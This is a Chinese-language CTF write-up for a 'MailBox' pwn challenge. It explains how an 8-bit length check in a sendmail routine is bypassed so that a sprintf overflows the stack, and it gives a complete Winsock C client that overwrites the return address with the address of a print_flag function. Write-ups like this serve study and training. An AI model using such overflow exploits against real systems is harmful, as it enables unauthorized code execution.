MailBox writeup(step1)
来源:互联网 发布:java构造方法特点 编辑:程序博客网 时间:2024/05/18 20:35
又是一道pwn。这题貌似是蓝莲花的题目=,=
先用连接上去看看,好像是个发送邮件的程序,有很多的字符串的输入,但是好像都是限制了长度了。长度限制一到就毫不留情的结束输入。
看不出什么,直接丢ida。
主要的代码都在main函数里面。相当坑爹的流程,慢慢理清楚吧。
溢出点是在sendmail函数里面。
.text:08049362 mov dword ptr [esp], offset aTitle ; "Title:".text:08049369 call _printf.text:0804936E mov dword ptr [esp+4], 0FFh ; a2.text:08049376 mov eax, [ebp+title].text:08049379 mov [esp], eax ; a1.text:0804937C call get_input.text:08049381 mov dword ptr [esp], offset aTitle ; "Title:".text:08049388 call _printf.text:0804938D mov eax, [ebp+title].text:08049390 mov [esp], eax ; format.text:08049393 call _printf.text:08049398 mov dword ptr [esp], 0Ah ; c.text:0804939F call _putchar.text:080493A4 mov dword ptr [esp], offset aBody ; "Body:".text:080493AB call _printf.text:080493B0 mov dword ptr [esp+4], 0FFh ; a2.text:080493B8 mov eax, [ebp+body].text:080493BB mov [esp], eax ; a1.text:080493BE call get_input.text:080493C3 mov [ebp+bodylength], 0.text:080493C7 mov [ebp+titlelength], 0.text:080493CB mov eax, [ebp+body].text:080493CE mov [esp], eax ; s.text:080493D1 call _strlen ;这里返回输入的body的长度.text:080493D6 mov [ebp+bodylength], al.text:080493D9 mov eax, [ebp+title].text:080493DC mov [esp], eax ; s.text:080493DF call _strlen ;这里是title的长度.text:080493E4 mov [ebp+titlelength], al.text:080493E7 movzx eax, [ebp+titlelength].text:080493EB movzx edx, [ebp+bodylength].text:080493EF add eax, edx.text:080493F1 cmp al, 78h ;两个长度相加和78比较,过大则退出。.text:080493F3 jle short loc_804940E
虽然有限制,但是不感觉al太小了吗?稍微构造一下body和title的长度。这个限制几乎没用。
这里有一段
.text:0804942A mov dword ptr [esp+4], offset aInsertIntoInbo ; "insert into inbox "....text:08049432 lea eax, [ebp+bigsql].text:08049438 mov [esp], eax ; s.text:0804943B call _sprintf
栈长度不够,可以构造溢出。然后程序中有打印flag的函数。
.text:08048BBD public print_flag
返回到这里就可以了。
然后因为输入中有用户名等等的,所以构造的参数有所不同。
主要是
'a'*220 + 0x08048BBD(函数地址)
至于怎么凑出220个字符就随意了。
给段代码。代码略长,会写的跳过吧。
#include<winsock2.h> #include<stdio.h> #include <Windows.h>#pragma comment(lib,"ws2_32.lib") int main (void){ int i; WSADATA wsaData; SOCKET sockClient; SOCKADDR_IN addrServer; char recvBuf[5000]={0}; char message[5000]={0}; WSAStartup(MAKEWORD(2,2),&wsaData); sockClient=socket(AF_INET,SOCK_STREAM,0); addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****"); addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7775); connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR)); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); //Login message[0]='2'; message[1]='a'; send(sockClient,message,2,0); Sleep(1000); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); //name for(i=1;i<10;i++) message[i-1]=i+48; message[9]='0'; message[10]='1'; //message[11]=0x0a; send(sockClient,message,11,0); Sleep(1000); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); //pass message[0]='1'; message[1]='2'; message[2]='3'; message[3]='4'; message[4]='5'; //message[5]='\n'; send(sockClient,message,5,0); Sleep(1000); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); //send mail message[0]='3'; message[1]='a'; send(sockClient,message,2,0); Sleep(1000); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); //to for(i=1;i<30;i++) { message[i-1]='a'; } send(sockClient,message,29,0); Sleep(1000); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); //title for(i=1;i<250;i++) { message[i-1]='a'; } message[119]=0xbd; //这里是返回值 message[120]=0x8b; message[121]=0x04; message[122]=0x08; message[249]=0x0a; send(sockClient,message,250,0); Sleep(1000); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); //body for(i=1;i<55;i++) { //凑点字符满足长度 message[i-1]='a'; } message[54]=0x0a; send(sockClient,message,55,0); Sleep(1000); recv(sockClient,recvBuf,1000,0); printf("%s",recvBuf); printf("\n*****************************************************************\n"); for(i=0;i<1000;recvBuf[i]=0,i++); closesocket(sockClient); WSACleanup(); return 0;}
啥,你说python,python是什么,能吃吗?
这题还有个step,分两部分吧。
0 0
- MailBox writeup(step1)
- Reverse step1 writeup
- Mailbox(getshell) writeup —— ret2libc的利用
- step1 writeup —— 输入作为函数参数
- step1
- step1
- step1
- UNIX study note(step1)
- Step1-500(刷题计划1)
- openCV Mat各属性简介(step1)
- openCV Mat各属性简介(step1)
- cmake入门 step1 (一行cmake语句)
- Angular2(step1) 开发前准备
- ISCC2014 Web(网络安全)Writeup
- CCTF 2016 WriteUp(部分)
- CTF考核writeup(1)
- CTF考核writeup(2)
- bugku misc writeup(部分)
- leetcode_question_84 Largest Rectangle in Histogram
- Nginx实战基础篇一 源码包编译安装部署web服务器
- javaScript中的 if(123) | return | arguments对象
- 第八周 课后实践:阅读程序(4)
- 第6周RFID作业
- MailBox writeup(step1)
- 数据请求
- MFC常用方法总结一
- GPUIMAGE说明
- 线程同步
- Linux 目录详解
- 8-3简要说明RFID系统的时隙ALOHA算法的工作过程
- 真正学习Java的第一天
- sgu211:Strange Counter(构造)